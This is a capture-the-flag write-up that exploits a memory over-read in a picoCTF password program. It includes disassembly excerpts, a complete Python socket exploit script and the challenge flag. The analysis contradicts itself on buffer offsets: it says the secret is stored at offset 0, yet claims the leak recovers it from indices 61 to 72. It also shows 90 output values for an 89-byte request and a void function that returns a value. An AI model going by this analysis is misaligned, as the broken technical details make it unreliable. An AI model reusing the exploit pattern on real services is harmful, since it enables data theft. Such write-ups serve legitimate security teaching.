Challenge: Secure Password Database
Points: 200
Author: Philip Thayer
Challenge Description
I made a new password authentication program that even shows you the password you entered saved in the database! Isn't that cool?
$ nc candy-mountain.picoctf.net 64821
Initial Analysis
First, we examine the downloaded attachment system.out:
$ file system.out
system.out: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked
The file is actually a 64-bit ELF executable (despite the .out extension suggesting Java), referencing heartbleed.c which hints at a Heartbleed-style information leak vulnerability.
Vulnerability Analysis
The Buffer Layout
The program allocates a 90-byte buffer using calloc(0x5a, 1):
// From disassembly at 0x13f3
mov $0x5a, %edi ; 90 bytes
mov $0x1, %esi ; size 1
call calloc
The program then copies secret data at the start of the buffer (offset 0) and the user's password at offset 0x3c (60):
// From disassembly at 0x1431
lea 0x3c(%rax), %rdx ; offset 60
call strcpy ; password copied here
The Heartbleed-style Leak
When displaying the "stored password", the program prints from the start of the buffer (offset 0) for the user-specified length:
// The loop prints from offset 0 up to user-specified length
for (i = 0; i < user_length && i < 89; i++) {
printf("%d ", buffer[i]);
}
The vulnerability: If we claim a password length larger than 60 bytes, the program will leak the secret bytes stored before the actual password.
The Secret Data
The secret is XOR-encoded with key 0xaa using the obf_bytes array. The make_secret function:
void make_secret(char *dest) {
for (int i = 0; obf_bytes[i] != 0; i++) {
dest[i] = obf_bytes[i] ^ 0xaa;
}
dest[12] = 0; // Explicit null terminator
return hash(dest);
}
Exploitation Steps
Step 1: Set a Password
Connect to the server and enter any password:
Please set a password for your account:
AAAAAAAAAA
Step 2: Request Large Number of Bytes
When asked for the password length, enter 89 (the maximum allowed):
How many bytes in length is your password?
89
Step 3: Extract Leaked Secret Bytes
The server responds with the leaked data:
You entered: 89
Your successfully stored password:
65 65 65 65 65 65 65 65 65 65 10 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
105 85 98 104 56 49 33 106 42 104 110 33 -86 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
Enter your hash to access your account!
The leaked secret bytes (indices 61-72) are:
105 85 98 104 56 49 33 106 42 104 110 33
In hex: 0x69 0x55 0x62 0x68 0x38 0x31 0x21 0x6a 0x2a 0x68 0x6e 0x21
Note: The -86 is actually 0xaa (signed representation of 170), which is the XOR terminator indicating end of secret data.
Step 4: Compute the Hash
The program's hash function is:
def hash(data):
h = 0x1505
for b in data:
if b == 0:
break
h = (h << 5) + h + b
return h
Computing the hash on the 12 leaked bytes:
secret = bytes([105, 85, 98, 104, 56, 49, 33, 106, 42, 104, 110, 33])
h = 0x1505
for b in secret:
h = ((h << 5) + h + b) & 0xffffffffffffffff
print(h) # 15237662580160011234
Hash: 15237662580160011234
Step 5: Send the Hash and Get the Flag
Enter your hash to access your account!
15237662580160011234
picoCTF{d0nt_trust_us3rs}
Complete Exploit Script
#!/usr/bin/env python3
import socket
import re
def compute_hash(data):
h = 0x1505
for b in data:
if b == 0:
break
h = ((h << 5) + h + b) & 0xffffffffffffffff
return h
def exploit():
host = "candy-mountain.picoctf.net"
port = 64821
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
# Step 1: Send password
s.recv(4096) # "Please set a password..."
s.send(b"A" * 10 + b"\n")
# Step 2: Request 89 bytes to trigger leak
s.recv(4096) # "How many bytes..."
s.send(b"89\n")
# Step 3: Extract leaked bytes
data = s.recv(4096).decode()
numbers = re.findall(r'-?\d+', data)
leaked = []
for n in numbers:
val = int(n)
if 0 <= val <= 255:
leaked.append(val)
elif val == -86: # Signed 0xaa
leaked.append(170)
# Secret starts at offset 61
secret = bytes(leaked[61:73])
# Step 4: Compute hash
hash_value = compute_hash(secret)
# Step 5: Send hash and get flag
s.send(str(hash_value).encode() + b"\n")
flag = s.recv(4096).decode()
print(flag) # picoCTF{d0nt_trust_us3rs}
s.close()
if __name__ == "__main__":
exploit()
Key Takeaways
-
Information Leaks: Be careful with what data is displayed to users. Printing raw memory contents can leak sensitive information.
-
Buffer Management: When storing data at an offset in a buffer, ensure that bounds checking prevents reading beyond the intended data.
-
XOR Encoding is NOT Encryption: The secret was simply XOR'd with a constant byte (
0xaa), which provides no real security. -
Hash Verification: The authentication only verified the hash of the secret, not the secret itself, making the system vulnerable to hash replay attacks.
Flag
picoCTF{d0nt_trust_us3rs}